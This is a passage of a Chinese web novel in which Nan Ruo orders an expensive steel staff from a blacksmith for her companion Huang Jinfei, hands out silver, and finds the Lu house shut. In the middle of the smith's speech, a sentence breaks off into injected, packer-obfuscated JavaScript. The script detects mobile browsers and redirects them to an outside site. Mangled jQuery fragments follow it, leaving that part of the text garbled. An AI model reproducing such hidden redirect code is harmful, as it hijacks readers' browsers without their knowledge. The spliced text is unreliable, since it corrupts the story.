南若點頭,帶著兩人走到打鐵鋪,鋪子裡見來了客人,熱情招呼,“客官要點什麼?”
南若道:“你們能打鐵棍嗎?”
“能啊,不都是用鐵打,你要多長多粗多重?”
南若問黃金飛,“你和他說吧。”
黃金飛高興了,他早就想要一把趁手的武器了,那些木棒子拿在手裡輕飄飄的。
忙上前道:“我要四尺五寸長,重三十二斤,除兩端手柄有痕跡外,棍身須得光滑不磨手。”
“謔!三十二斤可不輕啊!”
掌櫃的笑著打量了一番黃金飛,又道:“不過你這塊頭拿得起。”
黃金飛嘿嘿笑了兩聲,對南若道:“我以前的棍子才二十來斤,後來我自己試了試,三十二斤正好。”
南若含笑點頭,“自然要你自己用著趁手。”
掌櫃的又問:“用什麼材料打?”
南若疑惑,“都有些什麼材料?哪種材料最合適?”
掌櫃道:“材料麼有雜鐵、生鐵、熟鐵、镔鐵。他打來是用做武器吧?要說最好的當然是镔鐵,質地堅硬,鋒利無比,削鐵如泥,它可是‘天下第一好鐵’。不
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986822|131519||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
過一般用來製作刀具,用在鐵棍上稍顯浪費。”
老板也實誠,又有些自豪道:“也是你們有眼光,這睢縣打鐵鋪不止我一家,但能弄到上好的镔鐵的可隻有我家,而且我家打兵器的手藝是祖傳的,即便您到其他鋪子去問,他們也得給您介紹到我這裡來。”
南若笑著頷首,又好奇,“不止這镔鐵是何種鐵?”
掌櫃見她年紀小,也不嫌她多事,道:“具體的我也說不上來,反正就是熟鐵疊打而成,再把表麵磨光,最後用金絲礬做腐蝕劑處理,這個時候能看到螺旋花、芝麻雪花,若是打做刀劍,那可是能‘吹毛透風’的。”
南若聽著便恍然大悟,這應該是鋼在古代的稱呼。
有鋼材自然要選它的,便道:“那便用镔鐵吧。”
掌櫃的一喜,又嚴肅道:“小公子,可得事先說清楚,這镔鐵最貴,價格可比熟鐵貴了一倍不止。”
“沒事,多少錢?”
“按這位壯士的要求打,得一百八十五兩銀,其中一百八十兩都是镔鐵的價錢,那五兩隻是咱的耗損和手藝錢。”
那若還沒說話,南花兒和黃金飛便同時倒吸了口氣,黃金飛忙道:“小公子,這太貴了,要不隨便打一個吧,能用就行。”
他這輩子隻怕都沒花過這麼多銀子。
南若一笑,“趁手的兵器難得,咱們今日既然有幸遇上自然要打好的。”
黃金飛激動又遲疑,但他不是個多思多慮的性子,也就猶豫片刻,便一臉認真道:“小公子你放心,我以後一定好好做事!”
南若笑著道:“這就夠了。”
見兩人說好,掌櫃的得了莊大生意也高興,寫下訂貨單遞給南若,“您先交訂銀三十五兩,剩下的您三日後來取東西的時候給。”
南若接過看了眼,遞給黃金飛,對掌櫃的道:“那您可得用心打,若是不好咱可是不給銀子的。”
黃金飛雙手接過,臉上的笑容大大的。
掌櫃的哈哈大笑,“小公子儘請放心,咱們家世代在睢縣做生意,萬不會砸了自己的名聲。”
南若給了銀子,一行人又往鹿家去。
南花兒欲言又止道:“二……哥哥,你哪裡來的銀子?”
自從重逢後,她見到南若總是大手大腳,好像有用不完的錢似的。
南花兒自小過的辛苦,在南若到來前甚至幾乎沒見過銀錠子,後來老院子給他們家的十兩銀子她都覺得頂天了。
之後她自己打獵采山貨賣,日子過得緊扒摳搜,也才將將攢了三百二十一個大錢兒。
如今南若眼也不眨地花了近二百兩銀就為了打一個鐵棍,這在她看來又不可思議又十分心疼。
南若見她神情糾結,眼裡都是心疼又不好多說的模樣,想了想,掏出兩錠五兩的銀子遞給她,“我在回來的路上賺了些銀子,還有不少,你彆擔心。這個是給你的零花錢,拿去花吧。”
又給了黃金飛五兩,“想買什麼自己買。”
兩人呆呆地看著她,又看看手裡白花花的銀子,一個又高興又無措,一個純粹的高興。
三人到了鹿家,但其大門緊閉,好半晌也不見一個人出來,周圍一片都是宅院,很少見人,連個打聽的對象也沒有。
等了一下午,南若又帶著兩人回轉,打算再想其他辦法。
此時的荊州,伯一的傷已經好了大半,在得知父親又給他安排一場宴會後,他險些沒能控製自己的脾氣。
找到趙振舒道:“我要去南陽。”